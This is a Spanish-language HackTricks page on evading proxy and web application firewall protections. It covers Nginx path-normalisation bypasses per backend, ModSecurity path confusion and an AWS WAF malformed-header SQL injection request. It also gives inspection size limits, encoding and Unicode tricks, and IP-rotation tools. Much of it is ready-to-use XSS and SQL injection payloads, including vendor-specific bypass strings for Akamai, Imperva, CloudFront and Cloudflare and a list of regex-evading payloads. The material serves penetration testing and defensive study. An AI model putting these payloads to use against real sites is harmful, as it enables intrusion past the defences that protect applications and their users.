Evasión de Protecciones Proxy / WAF
Reading time: 13 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Evasión de reglas ACL de Nginx mediante manipulación de pathname
Técnicas from this research.
Ejemplo de regla de Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Para prevenir bypasses, Nginx realiza la normalización de rutas antes de comprobarlas. Sin embargo, si el servidor backend realiza una normalización diferente (eliminando caracteres que nginx no elimina), podría ser posible un bypass a esta defensa.
NodeJS - Express
Versión de Nginx | Node.js Bypass Characters |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Versión de Nginx | Flask Bypass Characters |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Versión de Nginx | Spring Boot Bypass Characters |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Configuración FPM de Nginx:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx está configurado para bloquear el acceso a /admin.php
pero es posible eludir esto accediendo a /admin.php/index.php
.
Cómo prevenirlo
location ~* ^/admin {
deny all;
}
Evasión de reglas de Mod Security
Confusión de ruta
En esta entrada se explica que ModSecurity v3 (hasta la 3.0.12) implementó incorrectamente la variable REQUEST_FILENAME
que se suponía debía contener la ruta accedida (hasta el inicio de los parámetros). Esto es porque realizaba una decodificación de la URL para obtener la ruta.
Por lo tanto, una petición como http://example.com/foo%3f';alert(1);foo=
en mod security supondrá que la ruta es solo /foo
porque %3f
se transforma en ?
terminando la ruta del URL, pero en realidad la ruta que recibirá un servidor será /foo%3f';alert(1);foo=
.
Las variables REQUEST_BASENAME
y PATH_INFO
también se vieron afectadas por este bug.
Algo similar ocurrió en la versión 2 de Mod Security que permitía evadir una protección que impedía a usuarios acceder a ficheros con extensiones específicas relacionadas con backups (como .bak
) simplemente enviando el punto URL codificado en %2e
, por ejemplo: https://example.com/backup%2ebak
.
Bypass AWS WAF ACL
Cabecera malformada
Esta investigación menciona que era posible evadir reglas de AWS WAF aplicadas sobre cabeceras HTTP enviando una cabecera "malformed" que no era correctamente parseada por AWS pero sí por el servidor backend.
Por ejemplo, enviando la siguiente petición con una inyección SQL en la cabecera X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Fue posible evadir AWS WAF porque no entendía que la siguiente línea era parte del valor del header mientras que el servidor NODEJS sí lo hacía (esto fue corregido).
Bypasses genéricos de WAF
Límites de tamaño de request
Normalmente los WAFs tienen un cierto límite de longitud de requests a revisar y si una request POST/PUT/PATCH lo supera, el WAF no la inspeccionará.
- Para AWS WAF, puedes check the documentation:
Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para Application Load Balancer y las protecciones de AWS AppSync | 8 KB |
Tamaño máximo del cuerpo de una web request que puede ser inspeccionado para CloudFront, API Gateway, Amazon Cognito, App Runner, y las protecciones de Verified Access** | 64 KB |
- De Azure docs:
Los Web Application Firewalls más antiguos con Core Rule Set 3.1 (o inferior) permiten mensajes mayores a 128 KB al desactivar la inspección del body de la request, pero esos mensajes no serán revisados por vulnerabilidades. Para versiones más nuevas (Core Rule Set 3.2 o superior), lo mismo puede hacerse desactivando el límite máximo del body de la request. Cuando una request excede el límite de tamaño:
Si prevention mode: registra y bloquea la request.\
Si detection mode: inspecciona hasta el límite, ignora el resto, y registra si el Content-Length
excede el límite.
- De Akamai:
Por defecto, el WAF inspecciona solo los primeros 8KB de una request. Puede aumentar el límite hasta 128KB añadiendo Advanced Metadata.
- De Cloudflare:
Hasta 128KB.
Lagunas en la inspección de assets estáticos (.js GETs)
Algunas pilas CDN/WAF aplican una inspección de contenido débil o nula a GET requests para assets estáticos (por ejemplo rutas que terminan en .js
), mientras siguen aplicando reglas globales como rate limiting y reputación de IP. Combinado con auto-caching de extensiones estáticas, esto puede abusarse para entregar o sembrar variantes maliciosas que afecten a respuestas HTML subsecuentes.
Casos prácticos:
- Enviar payloads en headers no confiables (p. ej.,
User-Agent
) en un GET a una ruta.js
para evitar la inspección de contenido, y luego solicitar inmediatamente el HTML principal para influir en la variante cacheada. - Usar una IP nueva/limpia; una vez que una IP es marcada, cambios en el enrutamiento pueden hacer que la técnica sea poco fiable.
- En Burp Repeater, usar "Send group in parallel" (single-packet style) para competir las dos requests (
.js
y luego HTML) por la misma ruta front-end.
Esto se complementa con header-reflection cache poisoning. Ver:
Cache Poisoning and Cache Deception
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Compatibilidad Unicode
Dependiendo de la implementación de la normalización Unicode (más información here), los caracteres que comparten compatibilidad Unicode pueden ser capaces de bypass the WAF y ejecutarse como la payload prevista. Los caracteres compatibles se pueden encontrar here.
Ejemplo
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Evadir WAFs contextuales con codificaciones
Como se menciona en this blog post, para evadir WAFs capaces de mantener un contexto de la entrada del usuario podríamos abusar de las técnicas del WAF para realmente normalizar la entrada del usuario.
Por ejemplo, en el post se menciona que Akamai URL decoded a user input 10 times. Por lo tanto algo como <input/%2525252525252525253e/onfocus
será visto por Akamai como <input/>/onfocus
que podría considerar que está bien ya que la etiqueta está cerrada. Sin embargo, en la medida en que la aplicación no decodifique la URL 10 veces, la víctima verá algo como <input/%25252525252525253e/onfocus
que sigue siendo válido para un ataque XSS.
Por lo tanto, esto permite ocultar payloads en componentes codificados que el WAF decodificará e interpretará mientras la víctima no lo hará.
Además, esto se puede hacer no solo con payloads codificados en URL sino también con otras codificaciones como unicode, hex, octal...
En el post se sugieren los siguientes final bypasses:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
También se menciona que, dependiendo de cómo algunos WAFs entienden el contexto de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai allow(ed) to put anything between /*
and */
(potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una SQLinjection such as /*'or sleep(5)-- -*/
no sería detectada y sería válida ya que /*
es la cadena de inicio de la inyección y */
está comentada.
Este tipo de problemas de contexto también pueden usarse para abusar de otras vulnerabilidades diferentes a la que el WAF espera (p. ej., esto también podría usarse para explotar un XSS).
H2C Smuggling
Rotación de IP (IP Rotation)
- https://github.com/ustayready/fireprox: Genera una URL de API gateway para usar con ffuf
- https://github.com/rootcathacking/catspin: Similar a fireprox
- https://github.com/PortSwigger/ip-rotate: Plugin de Burp Suite que usa API gateway IPs
- https://github.com/fyoorer/ShadowClone: Se activan dinámicamente un número de instancias de contenedor en función del tamaño del archivo de entrada y del factor de división, con la entrada dividida en chunks para ejecución en paralelo, por ejemplo 100 instancias procesando 100 chunks de un archivo de 10,000 líneas con un split factor de 100 líneas.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Se pueden usar diferentes técnicas para evadir los filtros basados en regex en los firewalls. Ejemplos incluyen alternar mayúsculas/minúsculas, añadir saltos de línea y codificar payloads. Recursos para los distintos bypasses pueden encontrarse en PayloadsAllTheThings y OWASP. Los ejemplos abajo fueron extraídos de this article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Herramientas
- nowafpls: plugin de Burp para añadir datos basura a las solicitudes para evadir WAFs mediante la longitud
Referencias
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.